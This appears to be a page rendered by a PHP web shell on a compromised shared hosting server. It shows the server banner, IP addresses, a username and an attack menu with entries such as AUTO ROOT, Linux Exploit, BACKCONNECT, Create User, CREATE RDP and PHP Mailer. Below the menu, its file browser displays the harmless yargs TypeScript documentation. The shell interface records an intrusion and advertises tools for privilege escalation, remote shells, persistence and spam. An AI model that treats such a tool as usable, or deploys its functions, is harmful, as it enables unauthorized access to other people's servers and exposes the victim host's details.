Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
node-yargs /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
CHANGELOG-historical.md.gz
28.74
KB
-rw-r--r--
CODE_OF_CONDUCT.md
3.14
KB
-rw-r--r--
README.md.gz
2.26
KB
-rw-r--r--
advanced.md.gz
5.58
KB
-rw-r--r--
api.md.gz
15
KB
-rw-r--r--
browser.md
781
B
-rw-r--r--
bundling.md
1.44
KB
-rw-r--r--
changelog.Debian.gz
1005
B
-rw-r--r--
contributing.md
1.04
KB
-rw-r--r--
copyright
3.15
KB
-rw-r--r--
examples.md.gz
2.05
KB
-rw-r--r--
tricks.md
2.21
KB
-rw-r--r--
typescript.md
1.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : typescript.md
# TypeScript usage examples The TypeScript definitions take into account yargs' `type` key and the prescense of `demandOption`/`default`. The following `.options()` definition: ```typescript #!/usr/bin/env node import yargs = require('yargs/yargs'); const argv = yargs(process.argv.slice(2)).options({ a: { type: 'boolean', default: false }, b: { type: 'string', demandOption: true }, c: { type: 'number', alias: 'chill' }, d: { type: 'array' }, e: { type: 'count' }, f: { choices: ['1', '2', '3'] } }).argv; ``` Will result in an `argv` that's typed like so: ```typescript { [x: string]: unknown; a: boolean; b: string; c: number | undefined; d: (string | number)[] | undefined; e: number; f: string | undefined; _: string[]; $0: string; } ``` You will likely want to define an interface for your application, describing the form that the parsed `argv` will take: ```typescript interface Arguments { [x: string]: unknown; a: boolean; b: string; c: number | undefined; d: (string | number)[] | undefined; e: number; f: string | undefined; } ``` To improve the `choices` option typing you can also specify its types: ```typescript type Difficulty = 'normal' | 'nightmare' | 'hell'; const difficulties: ReadonlyArray<Difficulty> = ['normal', 'nightmare', 'hell']; const argv = yargs.option('difficulty', { choices: difficulties, demandOption: true }).argv; ``` `argv` will get type `'normal' | 'nightmare' | 'hell'`.
Close